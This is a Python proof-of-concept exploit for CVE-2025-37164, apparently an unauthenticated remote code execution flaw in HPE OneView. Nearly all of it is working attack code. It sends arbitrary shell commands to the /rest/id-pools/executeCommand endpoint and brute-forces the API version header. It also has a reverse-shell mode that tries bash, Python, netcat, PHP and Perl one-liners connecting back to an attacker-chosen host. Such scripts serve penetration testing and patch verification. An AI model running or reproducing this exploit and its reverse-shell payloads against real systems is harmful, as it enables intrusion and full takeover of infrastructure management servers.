#!/usr/bin/env python3 """ CVE-2025-37164 - HPE OneView Unauthenticated RCE PoC Reference: https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis Author: S 1 D E R """ import requests import json import argparse import sys from urllib.parse import urljoin from time import sleep from concurrent.futures import ThreadPoolExecutor, as_completed requests.packages.urllib3.disable_warnings() def test_api_version(target_url, version): """Test a specific API version""" endpoint = "/rest/id-pools/executeCommand" full_url = urljoin(target_url, endpoint) headers = { "accept-language": "en_US", "X-API-Version": str(version), "Content-Type": "application/json" } payload = {"cmd": "echo TEST_$(whoami)", "result": 0} try: resp = requests.put(full_url, headers=headers, json=payload, verify=False, timeout=10) # Check for different responses if resp.status_code == 200: return version, resp, "VULNERABLE" elif "INVALID_API_VERSION" in resp.text: return version, resp, "INVALID_VERSION" elif resp.status_code == 404: return version, resp, "ENDPOINT_NOT_FOUND" elif resp.status_code == 401 or resp.status_code == 403: return version, resp, "AUTH_REQUIRED" else: return version, resp, f"STATUS_{resp.status_code}" except Exception as e: return version, None, f"ERROR: {str(e)}" def brute_force_api_versions(target_url, start=1, end=1200, threads=20): """Brute force API versions to find the correct one""" print(f"[*] Brute-forcing API versions {start}-{end}...") print(f"[*] Using {threads} threads") working_versions = [] with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(test_api_version, target_url, v): v for v in range(start, end + 1)} for future in as_completed(futures): version = futures[future] try: result = future.result() if result[2] == "VULNERABLE": print(f"[+] FOUND VULNERABLE VERSION: {version}") working_versions.append((version, result[1])) elif result[2] == "ENDPOINT_NOT_FOUND": print(f"[-] Version {version}: Endpoint not found (patched?)") break # Stop if endpoint disappears # Progress indicator if version % 100 == 0: print(f"[*] Tested through version {version}") except Exception as e: continue return working_versions def smart_exploit(target_url, command, api_version=None): """Smart exploitation with API version detection""" if not api_version: print("[*] No API version specified, attempting detection...") # First try common versions common_versions = [800, 900, 1000, 1100, 1200, 600, 700, 500] for version in common_versions: endpoint = "/rest/id-pools/executeCommand" full_url = urljoin(target_url, endpoint) headers = { "accept-language": "en_US", "X-API-Version": str(version), "Content-Type": "application/json" } test_payload = {"cmd": "echo PROBE_TEST", "result": 0} try: resp = requests.put(full_url, headers=headers, json=test_payload, verify=False, timeout=10) if resp.status_code == 200: print(f"[+] Detected working API version: {version}") api_version = version break elif "INVALID_API_VERSION" in resp.text: # Extract suggested range if possible if "values" in resp.text and "through" in resp.text: print(f"[*] Version {version} rejected: {resp.text}") elif resp.status_code == 404: print(f"[-] Endpoint not found with version {version}") except Exception as e: continue if not api_version: print("[-] Could not auto-detect API version") print("[*] Starting brute force...") working = brute_force_api_versions(target_url) if working: api_version = working[0][0] else: print("[-] No working API versions found") return None # Now execute the actual command endpoint = "/rest/id-pools/executeCommand" full_url = urljoin(target_url, endpoint) headers = { "accept-language": "en_US", "X-API-Version": str(api_version), "Content-Type": "application/json" } payload = {"cmd": command, "result": 0} print(f"[*] Executing with API version: {api_version}") print(f"[*] Target: {full_url}") print(f"[*] Command: {command}") try: resp = requests.put(full_url, headers=headers, json=payload, verify=False, timeout=15) return resp except Exception as e: print(f"[-] Request failed: {e}") return None def detect_version_range(target_url): """Detect valid API version range""" print("[*] Detecting API version range...") test_versions = [1, 100, 500, 1000, 1200, 2000, 3800] for version in test_versions: endpoint = "/rest/id-pools/executeCommand" full_url = urljoin(target_url, endpoint) headers = { "accept-language": "en_US", "X-API-Version": str(version), "Content-Type": "application/json" } test_payload = {"cmd": "echo RANGE_TEST", "result": 0} try: resp = requests.put(full_url, headers=headers, json=test_payload, verify=False, timeout=10) if "invalid X-API-Version header" in resp.text: # Parse the error message import re match = re.search(r'values (\d+) through (\d+)', resp.text) if match: min_ver, max_ver = match.groups() print(f"[+] Detected valid range: {min_ver} through {max_ver}") return int(min_ver), int(max_ver) else: print(f"[*] Version {version}: {resp.text}") except Exception as e: continue print("[-] Could not detect version range, using default 1-1200") return 1, 1200 def main(): parser = argparse.ArgumentParser(description="CVE-2025-37164 - Enhanced with API brute force") parser.add_argument("-t", "--target", required=True, help="Target URL") parser.add_argument("-c", "--command", help="Command to execute") parser.add_argument("-v", "--version", type=int, help="Specific API version") parser.add_argument("--brute", action="store_true", help="Brute force API versions") parser.add_argument("--detect", action="store_true", help="Detect version range only") parser.add_argument("--lhost", help="Reverse shell host") parser.add_argument("--lport", type=int, help="Reverse shell port") parser.add_argument("--threads", type=int, default=20, help="Threads for brute force") args = parser.parse_args() print(""" ╔═══════════════════════════════════════════╗ ║ CVE-2025-37164 - HPE OneView RCE PoC ║ ║ S 1 D E R // For Authorized Testing Only║ ╚═══════════════════════════════════════════╝ """) if args.detect: min_v, max_v = detect_version_range(args.target) print(f"[*] Suggested brute force range: {min_v}-{max_v}") elif args.brute: min_v, max_v = detect_version_range(args.target) working = brute_force_api_versions(args.target, min_v, max_v, args.threads) if working: print(f"\n[+] Found {len(working)} working API versions:") for version, response in working: print(f" Version {version}: {response.status_code}") api_version = working[0][0] resp = smart_exploit(args.target, "echo SUCCESS_TEST", api_version) if resp and resp.status_code == 200: print("[!] SYSTEM IS VULNERABLE!") else: print("[-] No vulnerable API versions found") elif args.command: resp = smart_exploit(args.target, args.command, args.version) if resp: print(f"\n[*] Response Status: {resp.status_code}") if resp.headers.get('Content-Type', '').startswith('application/json'): try: data = resp.json() print(f"[*] Response JSON:\n{json.dumps(data, indent=2)}") except: print(f"[*] Response Text: {resp.text}") else: print(f"[*] Response: {resp.text}") elif args.lhost and args.lport: print("[*] Reverse shell mode - detecting API version first...") min_v, max_v = detect_version_range(args.target) working = brute_force_api_versions(args.target, min_v, max_v, args.threads) if working: api_version = working[0][0] payloads = [ f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'", f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{args.lhost}\",{args.lport}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'", f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.lhost} {args.lport} >/tmp/f", f"php -r '$sock=fsockopen(\"{args.lhost}\",{args.lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'", f"perl -e 'use Socket;$i=\"{args.lhost}\";$p={args.lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};'" ] print(f"[+] Using API version: {api_version}") print(f"[+] Starting reverse shell attempts to {args.lhost}:{args.lport}") print("[*] Start your listener: nc -lvnp {args.lport}") for i, payload in enumerate(payloads): print(f"\n[*] Trying payload {i+1}...") resp = smart_exploit(args.target, payload, api_version) if resp and resp.status_code == 200: print(f"[+] Payload {i+1} delivered successfully!") print("[+] Check your listener for shell...") sleep(5) else: print(f"[-] Payload {i+1} failed") else: print("[-] Could not find working API version for reverse shell") else: # Default: detect and test min_v, max_v = detect_version_range(args.target) print(f"[*] Valid API range: {min_v} through {max_v}") # Quick test with middle value test_version = (min_v + max_v) // 2 print(f"[*] Testing with version {test_version}...") resp = smart_exploit(args.target, "echo QUICK_TEST_$(id)", test_version) if resp and resp.status_code == 200: print("[!] SYSTEM APPEARS VULNERABLE!") try: data = resp.json() print(f"[+] Response: {json.dumps(data, indent=2)}") except: print(f"[+] Response: {resp.text}") else: print("[-] Quick test failed, try --brute for full scan") if __name__ == "__main__": main()